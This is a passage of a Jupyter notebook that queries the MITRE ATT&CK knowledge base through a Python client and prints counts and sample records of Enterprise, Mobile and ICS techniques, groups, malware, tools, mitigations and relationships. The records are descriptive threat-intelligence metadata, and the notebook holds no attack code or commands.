description='Microsoft. (n.d.). wevtutil. Retrieved September 14, 2021.', url='https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_aliases=['Wevtutil'], x_mitre_contributors=['Viren Chaudhari, Qualys', 'Harshal Tupsamudre, Qualys'], x_mitre_platforms=['Windows'], x_mitre_version='1.0')" + ] + }, + "execution_count": 23, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "enterprise_tools[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Enterprise Relationships" + ] + }, + { + "cell_type": "code", + "execution_count": 24, + "metadata": {}, + "outputs": [], + "source": [ + "enterprise_relationships = lift.get_enterprise_relationships()" + ] + }, + { + "cell_type": "code", + "execution_count": 25, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Relationships in Enterprise ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "14069" + ] + }, + "execution_count": 25, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Relationships in Enterprise ATT&CK\")\n", + "len(enterprise_relationships)" + ] + }, + { + "cell_type": "code", + "execution_count": 26, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Relationship(type='relationship', id='relationship--9567076b-2a77-43e4-befd-19556def9d47', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-11-10T09:30:48.753Z', modified='2021-11-10T09:30:48.753Z', relationship_type='detects', source_ref='x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077', target_ref='attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58', revoked=False, object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'])" + ] + }, + "execution_count": 26, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "enterprise_relationships[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Enterprise Tactics" + ] + }, + { + "cell_type": "code", + "execution_count": 27, + "metadata": {}, + "outputs": [], + "source": [ + "enterprise_tactics = lift.get_enterprise_tactics()" + ] + }, + { + "cell_type": "code", + "execution_count": 28, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Tactics in Enterprise ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "14" + ] + }, + "execution_count": 28, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Tactics in Enterprise ATT&CK\")\n", + "len(enterprise_tactics)" + ] + }, + { + "cell_type": "code", + "execution_count": 29, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'type': 'x-mitre-tactic',\n", + " 'name': 'Reconnaissance',\n", + " 'description': 'The adversary is trying to gather information they can use to plan future operations.\\n\\nReconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.',\n", + " 'modified': '2020-10-18T02:04:50.842Z',\n", + " 'id': 'x-mitre-tactic--daa4cbb1-b4f4-4723-a824-7f1efd6e0592',\n", + " 'created': '2020-10-02T14:48:41.809Z',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'external_references': [{'url': 'https://attack.mitre.org/tactics/TA0043',\n", + " 'external_id': 'TA0043',\n", + " 'source_name': 'mitre-attack'}],\n", + " 'x_mitre_shortname': 'reconnaissance'}" + ] + }, + "execution_count": 29, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "enterprise_tactics[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Enterprise Data Sources" + ] + }, + { + "cell_type": "code", + "execution_count": 30, + "metadata": {}, + "outputs": [], + "source": [ + "enterprise_data_sources = lift.get_enterprise_data_sources()" + ] + }, + { + "cell_type": "code", + "execution_count": 31, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Mitigations in Data Sources ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "38" + ] + }, + "execution_count": 31, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Mitigations in Data Sources ATT&CK\")\n", + "len(enterprise_data_sources)" + ] + }, + { + "cell_type": "code", + "execution_count": 32, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-10-20T15:05:19.275Z',\n", + " 'name': 'Internet Scan',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'type': 'x-mitre-data-source',\n", + " 'id': 'x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17',\n", + " 'description': 'Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet',\n", + " 'created': '2021-10-20T15:05:19.275Z',\n", + " 'external_references': [{'url': 'https://attack.mitre.org/datasources/DS0035',\n", + " 'external_id': 'DS0035',\n", + " 'source_name': 'mitre-attack'}],\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_platforms': ['PRE'],\n", + " 'x_mitre_collection_layers': ['OSINT'],\n", + " 'x_mitre_contributors': []}" + ] + }, + "execution_count": 32, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "enterprise_data_sources[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "You can do the same with other matrices such as `Mobile` and `ICS`" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "tags": [] + }, + "source": [ + "## Collect Mobile ATT&CK" + ] + }, + { + "cell_type": "code", + "execution_count": 33, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Wall time: 1.55 s\n" + ] + } + ], + "source": [ + "%time all_mobile = lift.get_mobile()" + ] + }, + { + "cell_type": "code", + "execution_count": 34, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "dict_keys(['techniques', 'mitigations', 'groups', 'malware', 'tools', 'relationships', 'tactics', 'matrix', 'identity', 'marking-definition'])" + ] + }, + "execution_count": 34, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "all_mobile.keys()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "tags": [] + }, + "source": [ + "## Collect Mobile Techniques" + ] + }, + { + "cell_type": "code", + "execution_count": 35, + "metadata": {}, + "outputs": [], + "source": [ + "mobile_techniques = lift.get_mobile_techniques()" + ] + }, + { + "cell_type": "code", + "execution_count": 36, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Techniques in Mobile ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "92" + ] + }, + "execution_count": 36, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Techniques in Mobile ATT&CK\")\n", + "len(mobile_techniques)" + ] + }, + { + "cell_type": "code", + "execution_count": 37, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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creatednamex_mitre_platforms
02021-09-30T18:18:52.285ZUser Evasion[Android]
12021-09-24T14:47:34.182ZHooking[Android]
22021-09-20T13:42:20.824ZCall Control[Android]
32020-12-16T20:16:07.673ZCommand-Line Interface[Android, iOS]
42020-11-30T14:26:07.728ZProxy Through Victim[Android]
\n", + "
" + ], + "text/plain": [ + " created name x_mitre_platforms\n", + "0 2021-09-30T18:18:52.285Z User Evasion [Android]\n", + "1 2021-09-24T14:47:34.182Z Hooking [Android]\n", + "2 2021-09-20T13:42:20.824Z Call Control [Android]\n", + "3 2020-12-16T20:16:07.673Z Command-Line Interface [Android, iOS]\n", + "4 2020-11-30T14:26:07.728Z Proxy Through Victim [Android]" + ] + }, + "execution_count": 37, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques = []\n", + "for t in mobile_techniques:\n", + " techniques.append(json.loads(t.serialize()))\n", + "df = pandas.json_normalize(techniques)\n", + "df.reindex(['created','name', 'x_mitre_platforms'], axis=1)[0:5]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Mobile Mitigations" + ] + }, + { + "cell_type": "code", + "execution_count": 38, + "metadata": {}, + "outputs": [], + "source": [ + "mobile_mitigations = lift.get_mobile_mitigations()" + ] + }, + { + "cell_type": "code", + "execution_count": 39, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Mitigations in Mobile ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "13" + ] + }, + "execution_count": 39, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Mitigations in Mobile ATT&CK\")\n", + "len(mobile_mitigations)" + ] + }, + { + "cell_type": "code", + "execution_count": 40, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "CourseOfAction(type='course-of-action', id='course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2019-10-18T12:53:03.508Z', modified='2019-10-18T15:51:48.318Z', name='User Guidance', description='Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.', revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/mitigations/M1011', external_id='M1011')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_version='1.0')" + ] + }, + "execution_count": 40, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "mobile_mitigations[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Mobile Groups" + ] + }, + { + "cell_type": "code", + "execution_count": 41, + "metadata": {}, + "outputs": [], + "source": [ + "mobile_groups = lift.get_mobile_groups()" + ] + }, + { + "cell_type": "code", + "execution_count": 42, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Groups in Mobile ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "5" + ] + }, + "execution_count": 42, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Groups in Mobile ATT&CK\")\n", + "len(mobile_groups)" + ] + }, + { + "cell_type": "code", + "execution_count": 43, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "IntrusionSet(type='intrusion-set', id='intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2020-06-25T17:16:39.168Z', modified='2021-04-26T14:37:33.234Z', name='Windshift', description='[Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)', aliases=['Windshift', 'Bahamut'], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/groups/G0112', external_id='G0112'), ExternalReference(source_name='Bahamut', description='(Citation: SANS Windshift August 2018)'), ExternalReference(source_name='SANS Windshift August 2018', description='Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020.', url='https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf'), ExternalReference(source_name='objective-see windtail1 dec 2018', description=\"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019.\", url='https://objective-see.com/blog/blog_0x3B.html'), ExternalReference(source_name='objective-see windtail2 jan 2019', description=\"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019.\", url='https://objective-see.com/blog/blog_0x3D.html')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_version='1.1')" + ] + }, + "execution_count": 43, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "mobile_groups[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Mobile Malware" + ] + }, + { + "cell_type": "code", + "execution_count": 44, + "metadata": {}, + "outputs": [], + "source": [ + "mobile_malware = lift.get_mobile_malware()" + ] + }, + { + "cell_type": "code", + "execution_count": 45, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Malware in Mobile ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "92" + ] + }, + "execution_count": 45, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Malware in Mobile ATT&CK\")\n", + "len(mobile_malware)" + ] + }, + { + "cell_type": "code", + "execution_count": 46, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Malware(type='malware', id='malware--e110f94a-e2c5-4f5f-ba78-9c2ab6d2d9e4', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-01T14:42:48.234Z', modified='2021-10-14T15:38:53.014Z', name='BusyGasper', description='[BusyGasper](https://attack.mitre.org/software/S0655) is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.(Citation: SecureList BusyGasper)', revoked=False, labels=['malware'], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/software/S0655', external_id='S0655'), ExternalReference(source_name='SecureList BusyGasper', description='Alexey Firsh. (2018, August 29). BusyGasper – the unfriendly spy. Retrieved October 1, 2021.', url='https://securelist.com/busygasper-the-unfriendly-spy/87627/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_aliases=['BusyGasper'], x_mitre_platforms=['Android'], x_mitre_version='1.0')" + ] + }, + "execution_count": 46, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "mobile_malware[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Mobile Tools" + ] + }, + { + "cell_type": "code", + "execution_count": 47, + "metadata": {}, + "outputs": [], + "source": [ + "mobile_tools = lift.get_mobile_tools()" + ] + }, + { + "cell_type": "code", + "execution_count": 48, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Tools in Mobile ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "2" + ] + }, + "execution_count": 48, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Tools in Mobile ATT&CK\")\n", + "len(mobile_tools)" + ] + }, + { + "cell_type": "code", + "execution_count": 49, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Tool(type='tool', id='tool--1622fd3d-fcfc-4d02-ac49-f2d786f79b81', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2019-09-04T15:38:56.070Z', modified='2019-10-14T18:08:28.349Z', name='FlexiSpy', description='[FlexiSpy](https://attack.mitre.org/software/S0408) is sophisticated surveillanceware for iOS and Android. Publicly-available, comprehensive analysis has only been found for the Android version.(Citation: FortiGuard-FlexiSpy)(Citation: CyberMerchants-FlexiSpy)\\n\\n[FlexiSpy](https://attack.mitre.org/software/S0408) markets itself as a parental control and employee monitoring application.(Citation: FlexiSpy-Website)', revoked=False, labels=['tool'], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/software/S0408', external_id='S0408'), ExternalReference(source_name='FortiGuard-FlexiSpy', description='K. Lu. (n.d.). Deep Technical Analysis of the Spyware FlexiSpy for Android. Retrieved September 10, 2019.', url='https://d3gpjj9d20n0p3.cloudfront.net/fortiguard/research/Dig%20Deep%20into%20FlexiSpy%20for%20Android%28white%20paper%29_KaiLu.pdf'), ExternalReference(source_name='CyberMerchants-FlexiSpy', description='Actis B. (2017, April 22). FlexSpy Application Analysis. Retrieved September 4, 2019.', url='http://www.cybermerchantsofdeath.com/blog/2017/04/22/FlexiSpy.html'), ExternalReference(source_name='FlexiSpy-Website', description='FlexiSpy. (n.d.). FlexiSpy. Retrieved September 4, 2019.', url='https://www.flexispy.com/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_aliases=['FlexiSpy'], x_mitre_contributors=['Emily Ratliff, IBM'], x_mitre_platforms=['Android'], x_mitre_version='1.0')" + ] + }, + "execution_count": 49, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "mobile_tools[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Mobile Relationships" + ] + }, + { + "cell_type": "code", + "execution_count": 50, + "metadata": {}, + "outputs": [], + "source": [ + "mobile_relationships = lift.get_mobile_relationships()" + ] + }, + { + "cell_type": "code", + "execution_count": 51, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Relationships in Mobile ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "1079" + ] + }, + "execution_count": 51, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Relationships in Mobile ATT&CK\")\n", + "len(mobile_relationships)" + ] + }, + { + "cell_type": "code", + "execution_count": 52, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Relationship(type='relationship', id='relationship--fcc42341-ec3a-4e24-a374-46bed72d061f', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-01T14:42:49.191Z', modified='2021-10-01T14:42:49.191Z', relationship_type='uses', description='[BusyGasper](https://attack.mitre.org/software/S0655) can collect data from messaging applications, including WhatsApp, Viber, and Facebook.(Citation: SecureList BusyGasper)', source_ref='malware--e110f94a-e2c5-4f5f-ba78-9c2ab6d2d9e4', target_ref='attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160', revoked=False, external_references=[ExternalReference(source_name='SecureList BusyGasper', description='Alexey Firsh. (2018, August 29). BusyGasper – the unfriendly spy. Retrieved October 1, 2021.', url='https://securelist.com/busygasper-the-unfriendly-spy/87627/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'])" + ] + }, + "execution_count": 52, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "mobile_relationships[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Mobile Tactics" + ] + }, + { + "cell_type": "code", + "execution_count": 53, + "metadata": {}, + "outputs": [], + "source": [ + "mobile_tactics = lift.get_mobile_tactics()" + ] + }, + { + "cell_type": "code", + "execution_count": 54, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Tactics in Mobile ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "14" + ] + }, + "execution_count": 54, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Tactics in Mobile ATT&CK\")\n", + "len(mobile_tactics)" + ] + }, + { + "cell_type": "code", + "execution_count": 55, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'name': 'Execution',\n", + " 'id': 'x-mitre-tactic--4a800987-a3a8-4d56-a1bd-0d7171431756',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'description': 'The adversary is trying to run malicious code.\\n\\nExecution consists of techniques that result in adversary-controlled code running on a mobile device. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data.',\n", + " 'external_references': [{'source_name': 'mitre-attack',\n", + " 'url': 'https://attack.mitre.org/tactics/TA0041',\n", + " 'external_id': 'TA0041'}],\n", + " 'modified': '2020-01-27T14:00:49.089Z',\n", + " 'type': 'x-mitre-tactic',\n", + " 'created': '2020-01-27T14:00:49.089Z',\n", + " 'x_mitre_shortname': 'execution'}" + ] + }, + "execution_count": 55, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "mobile_tactics[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect ICS ATT&CK" + ] + }, + { + "cell_type": "code", + "execution_count": 56, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Wall time: 996 ms\n" + ] + } + ], + "source": [ + "%time all_ics = lift.get_ics()" + ] + }, + { + "cell_type": "code", + "execution_count": 57, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "dict_keys(['techniques', 'mitigations', 'groups', 'malware', 'relationships', 'tactics', 'matrix'])" + ] + }, + "execution_count": 57, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "all_ics.keys()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "tags": [] + }, + "source": [ + "## Collect ICS Techniques" + ] + }, + { + "cell_type": "code", + "execution_count": 58, + "metadata": {}, + "outputs": [], + "source": [ + "ics_techniques = lift.get_ics_techniques()" + ] + }, + { + "cell_type": "code", + "execution_count": 59, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Techniques in ICS ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "92" + ] + }, + "execution_count": 59, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Techniques in ICS ATT&CK\")\n", + "len(mobile_techniques)" + ] + }, + { + "cell_type": "code", + "execution_count": 60, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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creatednamex_mitre_platforms
02021-10-14T15:25:32.143ZTransient Cyber Asset[Engineering Workstation]
12021-04-13T12:45:26.506ZRemote System Information Discovery[Safety Instrumented System/Protection Relay, ...
22021-04-13T12:36:26.506ZNative API[Control Server, Data Historian, Field Control...
32021-04-13T12:08:26.506ZExploitation for Privilege Escalation[Human-Machine Interface, Safety Instrumented ...
42021-04-13T11:15:26.506ZModify Program[Field Controller/RTU/PLC/IED]
\n", + "
" + ], + "text/plain": [ + " created name \\\n", + "0 2021-10-14T15:25:32.143Z Transient Cyber Asset \n", + "1 2021-04-13T12:45:26.506Z Remote System Information Discovery \n", + "2 2021-04-13T12:36:26.506Z Native API \n", + "3 2021-04-13T12:08:26.506Z Exploitation for Privilege Escalation \n", + "4 2021-04-13T11:15:26.506Z Modify Program \n", + "\n", + " x_mitre_platforms \n", + "0 [Engineering Workstation] \n", + "1 [Safety Instrumented System/Protection Relay, ... \n", + "2 [Control Server, Data Historian, Field Control... \n", + "3 [Human-Machine Interface, Safety Instrumented ... \n", + "4 [Field Controller/RTU/PLC/IED] " + ] + }, + "execution_count": 60, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques = []\n", + "for t in ics_techniques:\n", + " techniques.append(json.loads(t.serialize()))\n", + "df = pandas.json_normalize(techniques)\n", + "df.reindex(['created','name', 'x_mitre_platforms'], axis=1)[0:5]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect ICS Mitigations" + ] + }, + { + "cell_type": "code", + "execution_count": 61, + "metadata": {}, + "outputs": [], + "source": [ + "ics_mitigations = lift.get_ics_mitigations()" + ] + }, + { + "cell_type": "code", + "execution_count": 62, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Mitigations in ICS ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "51" + ] + }, + "execution_count": 62, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Mitigations in ICS ATT&CK\")\n", + "len(ics_mitigations)" + ] + }, + { + "cell_type": "code", + "execution_count": 63, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "CourseOfAction(type='course-of-action', id='course-of-action--ac8f3492-7fbb-4a0a-b0b4-b75ec676136c', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-04-12T17:00:21.233Z', modified='2021-04-12T17:00:21.233Z', name='Supply Chain Management', description='Implement a supply chain management program, including policies and procedures to ensure all devices and components originate from a trusted supplier and are tested to verify their integrity.', revoked=False, external_references=[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Mitigation/M0817', external_id='M0817')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_version='1.0')" + ] + }, + "execution_count": 63, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "ics_mitigations[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## CollectICS Groups" + ] + }, + { + "cell_type": "code", + "execution_count": 64, + "metadata": {}, + "outputs": [], + "source": [ + "ics_groups = lift.get_ics_groups()" + ] + }, + { + "cell_type": "code", + "execution_count": 65, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Groups in ICS ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "9" + ] + }, + "execution_count": 65, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Groups in ICS ATT&CK\")\n", + "len(ics_groups)" + ] + }, + { + "cell_type": "code", + "execution_count": 66, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "IntrusionSet(type='intrusion-set', id='intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2019-04-16T15:14:38.533Z', modified='2021-10-17T14:49:09.631Z', name='TEMP.Veles', description='[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)', aliases=['TEMP.Veles', 'XENOTIME'], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/groups/G0088', external_id='G0088'), ExternalReference(source_name='TEMP.Veles', description='(Citation: FireEye TRITON 2019)'), ExternalReference(source_name='XENOTIME', description='The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )'), ExternalReference(source_name='FireEye TRITON 2019', description='Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.', url='https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html'), ExternalReference(source_name='FireEye TEMP.Veles 2018', description='FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.', url='https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html '), ExternalReference(source_name='FireEye TEMP.Veles JSON April 2019', description='Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019.', url='https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html'), ExternalReference(source_name='Dragos Xenotime 2018', description='Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.', url='https://dragos.com/resource/xenotime/'), ExternalReference(source_name='Pylos Xenotime 2019', description='Slowik, J.. (2019, April 12). A XENOTIME to Remember: Veles in the Wild. Retrieved April 16, 2019.', url='https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/'), ExternalReference(source_name='FireEye TEMP.Veles 2018 ', description='FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.', url='https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_version='1.3')" + ] + }, + "execution_count": 66, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "ics_groups[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect ICS Malware" + ] + }, + { + "cell_type": "code", + "execution_count": 67, + "metadata": {}, + "outputs": [], + "source": [ + "ics_malware = lift.get_ics_malware()" + ] + }, + { + "cell_type": "code", + "execution_count": 68, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Malware in ICS ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "19" + ] + }, + "execution_count": 68, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Malware in ICS ATT&CK\")\n", + "len(ics_malware)" + ] + }, + { + "cell_type": "code", + "execution_count": 69, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Malware(type='malware', id='malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-02-23T20:50:32.845Z', modified='2021-10-14T19:41:44.167Z', name='Conficker', 